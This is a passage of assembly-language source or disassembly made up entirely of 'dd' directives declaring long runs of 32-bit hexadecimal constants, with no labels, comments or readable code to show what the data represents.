dd 3C8BBE4h, 0DD024E35h, 0A907B248h, 0C8704C2Ah, 90C04DE8h
dd 2158FFBCh, 0A791B282h, 0BC886A00h, 0F460728Ah, 96031203h
dd 88C1012Dh, 0C595801Ah, 8856AB90h, 9849E4C0h, 0BAB30004h
dd 0DEA3A6EDh
dd 0FB3B2983h, 60D8008Ch, 7206590Bh, 85F05D16h, 102C7313h
dd 87393DE8h, 0E5F18806h, 0F913A826h, 6816E3E9h, 8A23483Ah
dd 3B46B600h, 0BAA8090h, 421FAFB9h, 2740E484h, 0CCD736D4h
dd 5D336280h, 0C373E8ABh, 0B5173A21h, 0C12CA17Dh, 465EC860h
dd 4C0C024Dh, 62B61695h, 2A189938h, 312C040Ch, 378CA030h
dd 901946h, 816B1F40h, 3C28DD2Dh, 1A0DF200h, 1506D395h
dd 0D5F50437h, 8932F707h, 0F8D43018h, 24803F44h, 80F0E535h
dd 0C2BEF6C0h, 195033BFh, 0DF2C9B18h, 46764C3Ch, 3B5300C0h
dd 4D062E02h, 0B569C0D8h, 622A5F1Eh, 8BE1BE00h, 334234B6h
dd 0E6E3143Ch, 5D848091h, 0DF95434Ch, 0A21900C8h, 42BAE840h
dd 9E0E604Ah, 0A03209ECh, 0D86AB35Ch, 0C71E0028h, 0E45AB55h
dd 0C94C695Dh, 0D73E80FCh, 5C1CDE1h, 0B161AC47h, 2E889111h
dd 166180B0h, 0E13E5895h, 3FBF0312h, 15D161A8h, 5B42938h
dd 2F626BCEh, 0B1CDB280h, 2403E0A9h, 674857B5h, 7661C3E4h
dd 20C072A1h, 904046D8h, 30C34C6Bh, 268CA7BCh, 19062F1h
dd 0E6E9715Ah, 43B180ACh, 57C8533Ch, 42EA00C2h, 0ECAF25D4h
dd 7F042406h, 0BED70776h, 0B051E0B4h, 7EBC228Ch, 494EEE37h
dd 0F8374580h, 385C4877h, 20417812h, 16C232E4h, 1EA13E1Eh
dd 776ABE40h, 3BC4B1h, 0BD725D30h, 0FD3F87ECh, 0EA354706h
dd 438775Ah, 635DCD1Eh, 46F0C03Ah, 35007EECh, 84BEF111h
dd 0C085E5A9h, 91A2FB89h, 0A0ECD478h, 0CD011700h, 0EF53FD5Fh
dd 76832CC8h, 0F3DA60C0h, 0EA0A152Fh, 0C4D5502h, 19FEF500h
dd 0A9C14Eh, 9221355Eh, 3BBB3881h, 2CAD1224h, 3A407764h
dd 3B716008h, 21AF1732h, 0A4B0C3D8h, 0EB4D075Fh, 0B0B4015Ch
dd 39CC3094h, 0F6214563h, 0B519A80Bh, 980A004Dh, 0DE61FCB4h
dd 8002303Ah, 1877F060h, 31A4C007h, 5FE8A8ADh, 33D01F0Bh
dd 96DECCABh, 5400F079h, 2A2DAC26h, 2F4BB2h, 4F19E303h
dd 0DBE0CE7h, 2930E5FAh, 46EF505Bh, 0CDAB0044h, 0DCBB3E93h
dd 12ECEE78h, 0EF4417Dh, 274E08C0h, 0EFC2CB7h, 1571AD5Ch
dd 737A6680h, 6770A96Bh, 6D3E767Ch, 9D210102h, 96C271FEh
dd 2EE06AC1h, 705DE854h, 0B0610098h, 0A936735Eh, 37000B31h
dd 72235B3Bh, 0FA0E6732h, 0FE250075h, 3498B75Dh, 2C7CAD71h
dd 9CB16307h, 8C846002h, 61093018h, 5BF88C98h, 2F0725E8h
dd 67C666Eh, 109BAE11h, 3D6492E6h, 7CC17704h, 108011ACh
dd 0A3D196DBh, 5400131Eh, 78B6833Ch, 60DE1475h, 0D068317Ch
dd 0FE002471h, 0F2EB835Eh, 0DE0CF7h, 0A16C663Ch, 3D2A1F5Dh
dd 0ADE07D18h, 0C340EF69h, 0DA264471h, 0D8C916F8h, 7828D400h
dd 0D211E661h, 42E70FD9h, 4D030D46h, 10E65EEEh, 497338h
dd 1D43DCC1h, 0CC4A1452h, 1E217808h, 163A4170h, 0DEFC00D8h
dd 952E0698h, 447008Bh, 88F80BD5h, 3C37E0CEh, 8AC07026h
dd 0D1291AD1h, 9BAC38E8h, 8433FC00h, 0CA65ABAEh, 63F7F023h
dd 9181E912h, 4E2401B8h, 7552A70Fh, 0A4E3E23Bh, 98B680C0h
dd 0C12B1FE1h, 0AA84E680h, 66B44047h, 380EB44Dh, 74058Ah
dd 6CDFD13Fh, 61770070h, 7AC75F46h, 0CFF85D7Fh, 1875DC30h
dd 6916E47h, 0D3140A3Fh, 9003A939h, 0E59CC0D6h, 0A747F204h
dd 3E4270E0h, 260880D9h, 284BD12Bh, 54DC1ECFh, 0C082E0C7h
dd 0D1238621h, 8B0C6CADh, 18457BF8h, 30460C5Bh, 21F13EEEh
dd 6C189EFEh, 0C68870BEh, 908CC88h, 0C3005221h, 0F75D3E9Eh
dd 60DE7758h, 799A6178h, 1D7A07C9h, 0A2843Ch, 7CCE700Ah
dd 7D971736h, 0ABFC045Eh, 8892626Ch, 0D1125F24h, 64237095h
dd 978E9h, 0BEC1DFD5h, 1196181h, 0A91A33Eh, 0A87106EFh
dd 6FDFFD03h, 782001C3h, 0E927021h, 53BD58Fh, 75944C02h
dd 92AE0477h, 0E2D74110h, 0DED80086h, 802E50CCh, 680AA246h
dd 8C4CC16Eh, 84064D9Dh, 81203542h, 6D182A94h, 0BE6E9E08h
dd 400CC4A0h, 529EC47Ch, 0A5290486h, 4354BDFEh, 411DE7Dh
dd 1F666EF1h, 879897CCh, 7BB7C278h, 4E2E1080h, 9701FD09h
dd 675F3255h, 2D1317Dh, 9562710h, 0DB92E600h, 225AB9BDh
dd 0DFC003F9h, 2E3FB896h, 124B823h, 0BE489EBFh, 880D1890h
dd 9E13B686h, 2008BE45h, 19330108h, 405B7D8Ah, 0CCF847ACh
dd 1DC01A49h, 5424C714h, 0DE9B3C82h, 798824Ch, 4654462Ah
dd 0D1FD0240h, 312ECF65h, 35881080h, 0F9E00D1h, 0A492E48Dh
dd 0FA1938DCh, 4980620Ah, 381D2AF4h, 2330E047h, 22EA7488h
dd 0F05F48h, 0DF8F3332h, 6086A4h, 708BD11Ch, 0EEE66651h
dd 65C81218h, 0F67EC4B1h, 2A5E28CFh, 0E234694h, 683F9EBEh
dd 4022C488h, 219EB581h, 4DE8F06Bh, 57E80C4h, 3CE7D12Eh
dd 9890431Bh, 42E10B8Ch, 0B3382067h, 1470C612h, 0BBE00402h
dd 0C8EF0443h, 96003438h, 30B620CFh, 390E7AFh, 0A4AB3B1Ch
dd 14F03616h, 0C1C068D4h, 67614023h, 18374C62h, 8104922Ch
dd 7D513EFDh, 0B44BD6E2h, 35B653C0h, 0BF3075FAh, 3465082Bh
dd 0F6490248h, 7DCA8B3Bh, 0E898DC86h, 0A2883253h, 0C7C93025h
dd 64C2780Fh, 0D2BCC69Dh, 0A8466E79h, 7D666C80h, 1360EF44h
dd 95632D39h, 0E3C2002Fh, 9922BAD5h, 85EA78D0h, 65E2D101h
dd 1D0BDCBEh, 8C572420h, 4CD12C0Eh, 87E0B0CFh, 0D801D124h
dd 1A270AAFh, 92F4685Ah, 0FB531DCFh, 0D4E70E3Eh, 0D0AD494h
dd 40ACEDD6h, 8FB0EA7Ch, 28057D3Ch, 0F709D0FBh, 1122CCh
dd 89FD3BC0h, 1F69C145h, 4B0927E7h, 0C0858850h, 2580A3AAh
dd 0DFCF6109h, 741C20B8h, 2A051D98h, 943CF7h, 57B4473Eh
dd 0B5CF8D4Bh, 68860F26h, 78635416h, 0DCC08048h, 250E873Bh
dd 93880040h, 45AF22h, 8CE5A823h, 0D19A2F1Fh, 64B05A48h
dd 0ACC87388h, 48C54D41h, 33096481h, 0C28ED97h, 4C558808h
dd 8A230900h, 92B8A25Dh, 0A8C464DCh, 836C6350h, 315BF28Ch
dd 4421116Ah, 6FD517C1h, 8CD488F2h, 0A4B19941h, 7888284Bh
dd 0F5D3E0C0h, 36B20523h, 82A2D51Bh, 852318F4h, 0A740E870h
dd 8D160038h, 71FD4A0Ah, 0A10BC8F7h, 4516103h, 0EC904328h
dd 32E8CD8Fh, 671025A0h, 713F8886h, 0BBFD6305h, 0F418941Ah
dd 80404CC0h, 5049DE56h, 5520000h, 813BBCBEh, 517300ADh
dd 0CDE62882h, 29062A5Fh, 3C6CD02Fh, 43CAAF9h, 6760C4C8h
dd 97213209h, 4F54C0ADh, 3300AA09h, 0F5DB9630h, 165FCh
dd 9FDFD699h, 3431CBEEh, 18615626h, 67C44C26h, 0E09BBC94h
dd 1BCA8DEh, 6DDF86E5h, 865291FDh, 38E85721h, 0DFC8ACD9h
dd 3609E368h, 94D08ED1h, 93848834h, 0D0B60189h, 22F8C046h
dd 0B14B0094h, 72D9ED2Dh, 0B02A76ECh, 0B142058h, 0F0FBF4A3h
dd 103D20B3h, 74EE1584h, 20077DCh, 3AB02195h, 39A677h
dd 0AE056F7Bh, 8AC4ACE0h, 2DA23809h, 0C094006Bh, 0B32F114h
dd 660F27F6h, 0ED7D4C10h, 0E7A41554h, 6039A73Fh, 48D7DB30h
dd 3048B8F2h, 79B117EFh, 0A9002FECh, 9074E849h, 25B034Ch
dd 0EFCEEA50h, 304D2668h, 66001311h, 3DE4FAD2h, 9A18996Ch
dd 67707809h, 53560C23h, 0AD396DEFh, 0E996E07h, 407E6928h
dd 6F9E87F2h, 70F51E6Dh, 14ACC048h, 3F8A6257h, 0D216A1DEh
dd 48BE2C61h, 318FE7F8h, 0EF6839EDh, 0D0618067h, 0FC528A4h
dd 90543C74h, 0AE14FA93h, 2E1D8300h, 58515797h, 0DE155CB8h
dd 8040E44Dh, 0B437A4Eh, 6BFA94CCh, 93C66822h, 38986D1Bh
dd 4B208D40h, 80908BEh
dd 185828BEh, 8E82F81h, 81342226h, 2A4DC66h, 1798FC74h
dd 91CD0A9h, 10073474h, 420F657Bh, 0D112E6E0h, 7C2C1044h
dd 5B80A8FBh, 0B09AF61Ch, 730203B1h, 2D078BDAh, 3F924088h
dd 0CC452A3Eh, 30EEE954h, 0A6E4B48Fh, 0FEC3DC09h, 0CF9C10BEh
dd 21FC20F7h, 302B6724h, 0E57D4282h, 6E8048B6h, 0AAC7035Fh
dd 60EF04EEh, 0D6A55900h, 4758751Ch, 8CA9278Ah, 0E4010C09h
dd 40644192h, 4D38DFE4h, 34257EF4h, 910C979Bh, 82148B22h
dd 0C63E5C4h, 620976B9h, 67468695h, 600F6438h, 2AE28032h
dd 0CC147Bh, 0AB67281Dh, 0E97D2B4Dh, 0DB191067h, 0EE356CE0h
dd 0CF41C016h, 10EC7662h, 9053AE07h, 6C611931h, 70E4D064h
dd 5BEF2A51h, 0FB910094h, 0D6A9141Dh, 0E33B9505h, 0A4D1A947h
dd 698B620Ch, 0D276090Eh, 1C23329Fh, 0B82E96E3h, 0FB749C2Eh
dd 82024818h, 0E3F0D512h, 247444BCh, 8338FA7Ch, 0CFCA59D1h
dd 0AAE29DC8h, 0B27A0C77h, 1AC1E38h, 0C6A1C56Ah, 0EC73FEC9h
dd 562EB458h, 137C58FCh, 2893D1CCh, 2E8FF8C0h, 7428323Dh
dd 0F4007646h, 8D2BB69Bh, 0C85921EFh, 7775128Ch, 547BBC28h
dd 0FEDEA018h, 1B5E0012h, 4931D871h, 0E4EA55A7h, 78701948h
dd 3C034609h, 6ECC1907h, 4AF24462h, 1721230h, 4995FB24h
dd 0D31DFC6Fh, 0A09C2874h, 1F7F465Eh, 0F9C064A1h, 578CA001h
dd 217B60DEh, 0B18A0659h, 0BAC19700h, 55495D8Fh, 1CED4C8Ch
dd 29CBD26h, 45E98A37h, 91101D09h, 0A03B8271h, 385C60E8h
dd 4C8F8235h, 7D2E0FF1h, 13B475E1h, 2037BCFDh, 50B4C12h
dd 0DBF881B3h, 2C671015h, 0F1830158h, 0F0D0CDAFh, 0DE747410h
dd 0CA415360h, 48F1BB3h, 0C4CF6AE0h, 417886A0h, 0D513FE09h
dd 46FCE490h, 4C3E3852h, 0F84B2ECCh, 0E0565370h, 0A77106B7h
dd 196FEEF5h, 81F8C500h, 0BD65847Eh, 0C3FC0049h, 93E28F4Eh
dd 69E04FF6h, 0A3FE3FF6h, 6002C84Bh, 42336C91h, 70808A7Ch
dd 21110D02h, 0A08C4032h, 23660E88h, 19E5146h, 4AD4E96Ch
dd 0E3E0D720h, 0B95D4179h, 96880B0h, 43659737h, 32232h
dd 2A095051h, 3CE52716h, 0D314FB07h, 0ABF1152Bh, 0C680334h
dd 333AF862h, 5B2DD0C0h, 5CC7480h, 6265DDC2h, 4008C990h
dd 7748E07Eh, 0BAFDD8E3h, 32C04C55h, 0DE7D12E8h, 0E4EFECD2h
dd 34F47Ch, 3F22B8B5h, 7BD086C5h, 0E2314464h, 2430F5h
dd 50EF1DBh, 805E84DCh, 0D18AA400h, 7C2250E5h, 0AEAC1854h
dd 36441882h, 9694ED0Dh, 7831104Ah, 8C737C22h, 4A9EC104h
dd 0ECCEC0BEh, 9EB88000h, 981541BAh, 0BC543CE9h, 75758C25h
dd 51608F00h, 2F0BD6Ch, 0D8CB143Eh, 3905BC0Ah, 0A070970Dh
dd 2DF9C99Ch, 0AFE60E6Ch, 98A6204Eh, 0C09623E1h, 49F592E8h
dd 625C14BBh, 81604C58h, 0D150FC0Ah, 2750C30h, 9894E8B5h
dd 88A97085h, 0EA2E3CC0h, 0CEE49A16h, 8A4C88h, 285FA201h
dd 4527A33Ch, 0C2057300h, 468C3A64h, 0EA4D13E9h, 0D0ED004Eh
dd 590122A3h, 73B3B600h, 95BCE606h, 0C5E537EEh, 36BFE02Ah
dd 0AEE8A474h, 862310C3h, 308FE1B5h, 3D0C2FC8h, 2200A1D4h
dd 3EAE58F9h, 8B0041C2h, 0E7372AC1h, 30604D1h, 5987464h
dd 50CF2936h, 12C06C62h, 0BF0D6005h, 0ECD33D35h, 4D41C038h
dd 86974B32h, 9C9018D4h, 38023B46h, 6CF68D1h, 30178131h
dd 13EED130h, 0FBFBB00h, 0DE4058C1h, 546F8852h, 3392F802h
dd 8396FD4Dh, 0EAF0470Ch, 50805827h, 1BCF4C92h, 183AF8D7h
dd 0E87BE3A8h, 3E8200B9h, 0F23537D3h, 38494608h, 0DC21726Dh
dd 0C01AC463h, 8E24DFCDh, 31CEF900h, 8954273Fh, 4EC230FEh
dd 94DC6699h, 37468F1h, 3904F0EFh, 0C4C2E42Fh, 0BF562343h
dd 458F70B8h, 1340D016h, 596F5492h, 19837174h, 985D08D8h
dd 0A45144C8h, 19244005h, 14C87BFFh, 0E6A20017h, 0C5D59421h
dd 0E2007A6Bh, 2226753Ch, 9B6C7E0h, 70E3107Eh, 0E25D2F04h
dd 3305F228h, 91C99CE0h, 3C99622Ch, 5CC42944h, 589170A5h
dd 95A80C3h, 8CB59739h, 4BB9FE60h, 0E50962h, 0C0BC7C85h
dd 73119A98h, 0F00438B6h, 84090E8Ch, 718014B7h, 0F2F95457h
dd 4C9F1003h, 1D44108Dh, 5879C814h, 28CFFACh, 0D8D13A2h
dd 88C9A8F7h, 8891182Ah, 19C0167Ch, 8E8A17E4h, 30FA0F87h
dd 94A04C44h, 913249D1h, 0B8560D2Ch, 0EBC8E560h, 0A75F12F3h
dd 0B2BCC504h, 3004F210h, 0FF14BC7Fh, 85B8E07Ch, 48E4DE6Eh
dd 17197AD7h, 0FD695Fh, 8B4466AAh, 8B62BD6h, 31082E44h
dd 6D9E8CC0h, 0F0984CBEh, 9EC37FE0h, 0A732E005h, 708C6662h
dd 50F07C29h, 2F0FE811h, 9081E192h, 398F6267h, 10A04C3Ch
dd 23263458h, 172B110Ch, 70207B66h, 0BDDA2ACh, 0EF4E60F6h
dd 0B7F4E048h, 6300F3F4h, 2433207Ch, 2A36606Ah, 0CA44753h
dd 5DF7028Fh, 0DF00DB78h, 6182869Ah, 903642DEh, 1C4F4D8Eh
dd 8B07438Eh, 6BC458DCh, 3B2047h, 37F762A1h, 9061DC12h
dd 38C28C65h, 7F45AEFh, 0A1DAD9A0h, 37888007h, 0DCA19783h
dd 0B6F04277h, 8094930h, 317D8F2Ch, 4E41F86Ah, 0FDCC0951h
dd 84F4B9C5h, 91BD4DFh, 0A8346BEFh, 8E6DA7h, 4DA59C1h
dd 2D8917ACh, 0A417B1Fh, 0C4C202DDh, 0F805C0D5h, 9A4602B0h
dd 70C7D394h, 0E05BC5Ah, 9002D2FCh, 0BE719886h, 3D4674F4h
dd 15874E3Dh, 89770236h, 1AE40CC5h, 304AA60h, 0D31BB52Eh
dd 0BF726F01h, 58603365h, 1E764089h, 3BD00509h, 13300446h
dd 0C159DE46h, 2B333200h, 9F129B6Ah, 46F90028h, 0E6AAFEACh
dd 21FF4E94h, 0A2706384h, 15EF300Ch, 59CC9410h, 138C22E8h
dd 91EE819Bh, 0F8C6DC40h, 79165884h, 703A48D3h, 0E8077123h
dd 4987A56Eh, 3CF4F835h, 29C002F4h, 5D6B9583h, 305B80C0h
dd 67E72700h, 0A9BE4635h, 2C8960Ch, 49529366h, 4097456h
dd 98370Dh, 0C46332DAh, 9C1097CAh, 38584EDEh, 0DBAC0303h
dd 9A19E42h, 688FC106h, 101CA280h, 0BC73C2D1h, 0E447FF4Fh
dd 68B91496h, 253F3330h, 5448EE68h, 5600AAEAh, 1C369E16h
dd 4BF4E18h, 0D0696D03h, 0B6B4A465h, 5420355Fh, 0CE3BEAh
dd 0C772D08Ch, 0A5DF8021h, 33CA3505h, 9CA0B28Bh, 3C41457Dh
dd 187CCF50h, 2CDA619h, 0EC14FC30h, 0C85059F7h, 9684E142h
dd 1938A045h, 0C0147D24h, 21928F40h, 146C9072h, 509161F6h
dd 88AC5A4Fh, 8A09879h, 66D990D8h, 3992701h, 80470C99h
dd 68443328h, 0C270D3D1h, 0C0FEE330h, 7D11BC64h, 0EF260713h
dd 0D2E641F4h, 0B329DC47h, 0F056AD04h, 6EC03491h, 0AEBF18h
dd 0B42735E1h, 310FDB1Eh, 0A0E6D0A2h, 0AE4004B4h, 7DF974ECh
dd 13BF669h, 2CD792AAh, 210B36EFh, 53CC200Ch, 3D3F708Ch
dd 22C6DCBFh, 57543870h, 0EF29B80Fh, 0DCAAB1D8h, 190A73Ch
dd 0C4ADCD35h, 8DECF385h, 9DD500C7h, 7EDFDA6Eh, 6105818Fh
dd 4E1AFA2Fh, 33B6B800h, 4B7BD89Ah, 54C028E2h, 2818BE00h
dd 2373C30Ch, 6655B8Eh, 915AEF44h, 6CC2FB04h, 78C4D511h
dd 4E16A808h, 4E0500B1h, 0C0243AFEh, 4F1001DFh, 446BF93Eh
dd 5EB83663h, 0CA01FC6Ah, 287CBED8h, 0E3873029h, 3D992109h
dd 11E09D32h, 5ADD806Ch, 0EA6738E2h, 0C13B60F8h, 33C85749h
dd 7B0FB138h, 77E27616h, 94DCE443h, 1CC5BC8Eh, 0FC4A408Ch
dd 0F46E0F3Fh, 72A26615h, 0A44434DCh, 91BC9795h, 0D234801Ah
dd 0AE0C25h, 0DCEA710Dh, 10ED7BE5h, 3D98DF88h, 2225E2D1h
dd 78014B7h, 0BC3876CBh
dd 275800E3h, 29713DCh, 0A0963A7Fh, 0F403824h, 3814076h
dd 13C2DBF0h, 9698FA78h, 6CE2BCEFh, 5F6E9400h, 2E9CDFE1h
dd 6D7C2567h, 0A497248Bh, 67410588h, 0C258B032h, 3E2EACDCh
dd 3F8CE426h, 0A93917Ch, 0ECF9C643h, 5FD78080h, 9175624Fh
dd 3BC2FA17h, 0FE0F0040h, 9BBD197h, 0A15412FFh, 0DF04548Fh
dd 0D4C8A0E0h, 8492A8C1h, 68BD3B7Ah, 5BD14D02h, 0D881C7h
dd 319A412h, 10FCA014h, 5105CCB1h, 0A030F14Dh, 0FD1C9134h
dd 0BAD33459h, 277D50B4h, 3C6E19E0h, 0B7BFA200h, 0E921D9B1h
dd 6128A0A4h, 0FC7C3366h, 0FDB85629h, 1F00B54Eh, 50CA9867h
dd 7F6205Ah, 0C1147447h, 9905D35Eh, 0CCE86780h, 0C04F2835h
dd 2588448Eh, 9D58AFC0h, 44D5004Dh, 1E943165h, 98B263E3h
dd 0D0C44CE4h, 2F5723DFh, 823E4h, 39A63EBFh, 0C0C4D28Dh
dd 98A49563h, 37D910BEh, 98BF0511h, 0E4D12B02h, 0AC65D7EFh
dd 14013AECh, 0AC06E67Dh, 95800D88h, 0FE47E3BBh, 0FF9100ACh
dd 9ACECA2Fh, 0D305C831h, 0CD62249Dh, 0FAF190A2h, 308C0C40h
dd 0DC6911F8h, 5A00F9DEh, 1F14852Fh, 93405EDh, 0CB9DB007h
dd 74548892h, 471100DCh, 0F625DF8Ch, 0E10414FDh, 61776D74h
dd 60D0B0E8h, 414305A8h, 0B61C1700h, 8A7C8B57h, 9D298F27h
dd 80839184h, 9933C267h, 4281308Ah, 2E17D48h, 1144C8A4h
dd 2A3900C5h, 140B5894h, 8600C74Eh, 455F52FAh, 14E30D05h
dd 4044936Eh, 61D13981h, 9856DECFh, 73319458h, 0F71803D1h
dd 4F65A238h, 3613807Ah, 3412152Ah, 85BC1071h, 0E992B107h
dd 0D1342445h, 18D48CE6h, 0F8C307E8h, 0C7C2146Fh, 38B4A0CBh
dd 25090121h, 40A0F734h, 9D7EC0F3h, 0BBD07B00h, 0BC94C683h
dd 70EE92h, 67FBA921h, 662E474Fh, 7743300h, 0FA98D2C2h
dd 0A84361A6h, 317B3C67h, 10506936h, 7C2F7E4Eh, 95782CA3h
dd 578511A0h, 0F3FAE705h, 0B81CBCDAh, 917B660Bh, 0DFD35C4h
dd 19D22ECh, 4F498D50h, 386F34BFh, 4FFD3A10h, 62EF6C91h
dd 8D078C50h, 0F6633914h, 0C348CA80h, 33EEA909h, 689DF106h
dd 18612492h, 414FDE0Eh, 3E0E425Eh, 80C29C5Ah, 0D71C3BAh
dd 40CF4A32h, 0EC6E9368h, 993F3591h, 0F06CB19Ah, 80334C1h
dd 0CFC004F3h, 0C4C40F7h, 28F3998h, 0B8CCDC47h, 0FF888028h
dd 9804D3D2h, 0EF221800h, 7F9B893Ah, 3DDA7500h, 46FB11Ch
dd 0D61902C9h, 9862B853h, 745AF456h, 0A1649828h, 4B3D6F33h
dd 1D0A00BEh, 77578371h, 1ADB347Ch, 0E1C8C0F1h, 80C12C3Bh
dd 65D89901h, 57FDFE31h, 23A03B3Eh, 79780F09h, 457317A0h
dd 695BDFDBh, 8A8FAC01h, 9441936Dh, 4C30A44Dh, 4B0F8CB8h
dd 0F3973609h, 50C09CE2h, 0ADDA0953h, 0D5F86001h, 0A1458DABh
dd 0A2681E3Eh, 0FC8F0101h, 2997C10h, 44508F31h, 0BC89F897h
dd 31E06CCh, 0E65CF998h, 205A2C98h, 0C7DCC53Ah, 894D3088h
dd 159299B8h, 0B8CF6B40h, 777631F0h, 84E8919h, 78402290h
dd 8433521h, 0D413165Ch, 9050D49Fh, 0DC7F409Eh, 5A80E091h
dd 0BCD2D359h, 37EB35D9h, 0F2D8E2B8h, 79AD3070h, 599320B1h
dd 0A6DF6D00h, 264DAAh, 0DC4F9E2Dh, 31CD891Dh, 0D8189C17h
dd 6C8E3425h, 3040FB84h, 0F861438Bh, 3D2424E0h, 23028584h
dd 33CC425Eh, 0B86496FDh, 9D7C1097h, 0EBA7984h, 38FA3FE3h
dd 9F729AC0h, 9C1C77EBh, 3E475236h, 0C00974CBh, 5A946A20h
dd 0C3ACC951h, 8085A93Fh, 0F1037123h, 0E4E984Ah, 0D5B2EF76h
dd 5FE0258Eh, 0B9FC92Bh, 91041797h, 0A3068028h, 9732DA5h
dd 0F77E1027h, 0D25FF068h, 7D5BE700h, 0A5606A35h, 42E9394Ch
dd 5E2B7101h, 34DEEF66h, 57052EC0h, 992AC453h, 74776C80h
dd 285F12C6h, 0FAEC0848h, 80A56280h, 1CBE5E29h, 5756C759h
dd 0A2BC1F52h, 9E689913h, 4A1D6101h, 74D262E6h, 0C4250F74h
dd 0D1216A00h, 4076020Dh, 30063F3Ah, 0C94508A2h, 830E0C9Ch
dd 0D13036D0h, 0C8116924h, 0FC917301h, 0BDE0ED51h, 0E100E0Ch
dd 0EE80486Bh, 0E186877Eh, 0C6108564h, 0FE6146C7h, 99D851EBh
dd 5DD4183Dh, 6C32904Ah, 36BF4B13h, 0A64EF0C0h, 411540DCh
dd 0F8ACD10Bh, 0D7D8797Bh, 64D04072h, 0CCE68088h, 4016AC4Bh
dd 8924B004h, 71BDC11Dh, 665738D9h, 212F07F0h, 8059FB02h
dd 0FAF06E7Ch, 0CBE300A5h, 1C4AFF3Ch, 320E3D67h, 42FC63EFh
dd 70FA7B46h, 0E34413BCh, 97FC4193h, 2B9E927Ch, 8FE09000h
dd 0F496AFCAh, 40DC5BD7h, 85731590h, 88001776h, 1BA56990h
dd 1C228AACh, 2C7F94EDh, 0D0AD383Ch, 8EE15493h, 5170832Dh
dd 1D507CC0h, 0C1F999F9h, 0D14C0ECAh, 64A8FDCFh, 0C9283FE8h
dd 0A1708E0h, 80020967h, 1BD4802h, 304462F1h, 257592ACh
dd 9421032Ah, 0FF913900h, 414DDE51h, 708738A3h, 6185C700h
dd 0F5EDA9Eh, 3D498A17h, 0A6C3F891h, 2102C864h, 74164787h
dd 54EE6CE0h, 3A0D439h, 0A42CFBC8h, 0C8CD6321h, 0C90C9898h
dd 8012FE68h, 58A1817h, 0A1C7485Ch, 10B6892Eh, 58495716h
dd 9CE8700Ch, 7B0A40F4h, 7F1D5EEAh, 81BD2A21h, 4E474B23h
dd 0F9D471E0h, 13AAA085h, 0BCDF845h, 0EE4A4D30h, 0DAB8B810h
dd 0A4401E00h, 4D034FDh, 12C8008Ch, 0FAD724FFh, 3301B3EDh
dd 0E7CF6646h, 0D8B03940h, 0DD146D60h, 0F71E970Bh, 0EFDC8207h
dd 0D5800F09h, 6482E0E4h, 2F10309Dh, 0C0954F9Ah, 0A4E85164h
dd 0C6512260h, 13D89113h, 88627CF6h, 0CB7B1E48h, 5DC3040h
dd 89C9424Dh, 389C0612h, 292C1819h, 6A104858h, 90EF12DCh
dd 0CA59718Ch, 691E3Dh, 0A0154CEAh, 9A89D3Dh, 0DC6E8545h
dd 0B829C04h, 0D0DEh, 4540B741h, 0F83BFCD7h, 0F2909A0Fh
dd 0D1009C8Fh, 7181161Eh, 27A85C91h, 0DFBCAD00h, 0A63B7796h
dd 8080C33Ah, 3585A4AAh, 788EF13h, 3C7E6B25h, 57ACB0F2h
dd 0EB03E520h, 0B69D2870h, 0E0A5C33Dh, 0E4D3E397h, 0A9CD2B98h
dd 0CBF66120h, 42B10047h, 0A07421h, 0F19EE482h, 6C48587Bh
dd 0BE1E4539h, 10D400AAh, 0DE589C5h, 5D7C01DBh, 248630A2h
dd 81620EA0h, 1428158Ch, 1F81B940h, 4BBA1F0Eh, 0B00C0022h
dd 7176DFCBh, 0AC9AE100h, 62EA0945h, 0CC78053Eh, 2631D7A2h
dd 0E0540834h, 0D6460280h, 0A03EE4h, 0D7B24268h, 0E1C3F62h
dd 5EA0546Fh, 0FF4480E1h, 49DF2D0h, 0B41C4360h, 15CF8D1h
dd 128F2A41h, 0C445E8C9h, 0ED0078FFh, 43D6DBA3h, 0CD5A0CAh
dd 2C3F5962h, 44440C29h, 0EE228477h, 70304269h, 9ED82284h
dd 31287250h, 42973620h, 9F0D1124h, 22149628h, 58423911h
dd 219C4211h, 885710BAh, 2EF6803Ch, 904ED75Dh, 0A49C4100h
dd 3F9A2F1h, 0D46B0057h, 27E2B36Ch, 0D6009622h, 0AA696DC1h
dd 2808BAE3h, 0C74C15h, 53B7C79Dh, 41399044h, 5DDC3A00h
dd 3BC90416h, 1C330096h, 3E0DFEAFh, 86008FEFh, 7C1AC15Fh
dd 46989Fh, 126AECCEh, 29116830h, 623619C0h, 4AA83F5h
dd 0A092E5E2h, 39A4B8D3h, 5B1F00BEh, 0BD3DC10Ah, 0B570B0h
dd 91DA5EDDh, 0CA72478Ch, 3BC4E709h, 0C8E8802Eh, 7821E1h
dd 806C5DD9h, 933EF89h, 0DF383700h, 0CC8C64DCh, 2FFD4C93h
dd 0DF7D391Ch, 3A5EC0ACh, 0C8D5B3B6h, 2D312600h, 216D27A3h
dd 0E9DA0007h, 2F38996h, 2E009070h, 0F73DC7FCh, 3EBBE2B4h
dd 0FB01F609h, 8BA61D30h, 682C205Fh, 0DB26F400h, 7C8E770Eh
dd 94601C08h, 0DFFA807Eh, 8DE454C6h, 25E57A00h, 1F91CF95h
dd 3E2C0FEBh, 5D009780h
dd 6B07EE4Fh, 94D7BB00h, 392A27Dh, 3B57049Bh, 90B24677h
dd 0C3D7E860h, 50975B0Eh, 0CAEEE339h, 107E988h, 0C7EDC2C5h
dd 4C8B6080h, 489FE938h, 0FE14D100h, 0D0BA7EDBh, 65750416h
dd 0AC0C774Bh, 0B37601A0h, 0D3CED139h, 0F30DD884h, 247085Bh
dd 646A285Fh, 0B915E080h, 823EF8E3h, 144530AAh, 0DDA6CAh
dd 84C6078Eh, 0C17F2266h, 5FE5E100h, 0C05EF4A5h, 0E0DB007Bh
dd 4E4F0544h, 21C0BD81h, 0F280D79Ah, 250F0008h, 959B407Ah
dd 71C7C2B8h, 49800C85h, 1CD9E36Dh, 47EAAE8Ch, 600BCCBAh
dd 7665BE0Ah, 88FA0800h, 4A6B78CDh, 70E434h, 8DA075C4h
dd 1860F040h, 73E02E00h, 7A62B3FEh, 1D4E00FFh, 0E9EA4588h
dd 3116BB7Eh, 9D00F8C2h, 6BE852CCh, 87BE005Fh, 2997915Ah
dd 0D011C9Bh, 154B196Fh, 3C603BC8h, 8F640EABh, 0F400236Bh
dd 0D31EC9D0h, 2B3C2E60h, 3370189h, 0D63FECE1h, 53C040E3h
dd 0A000DBB9h, 57831734h, 2FCEBEh, 0D4F21EEBh, 0CCFD8D76h
dd 0A8D9D01Dh, 1A4B9682h, 7A4057EFh, 0ED00BD7Bh, 1D283DBh
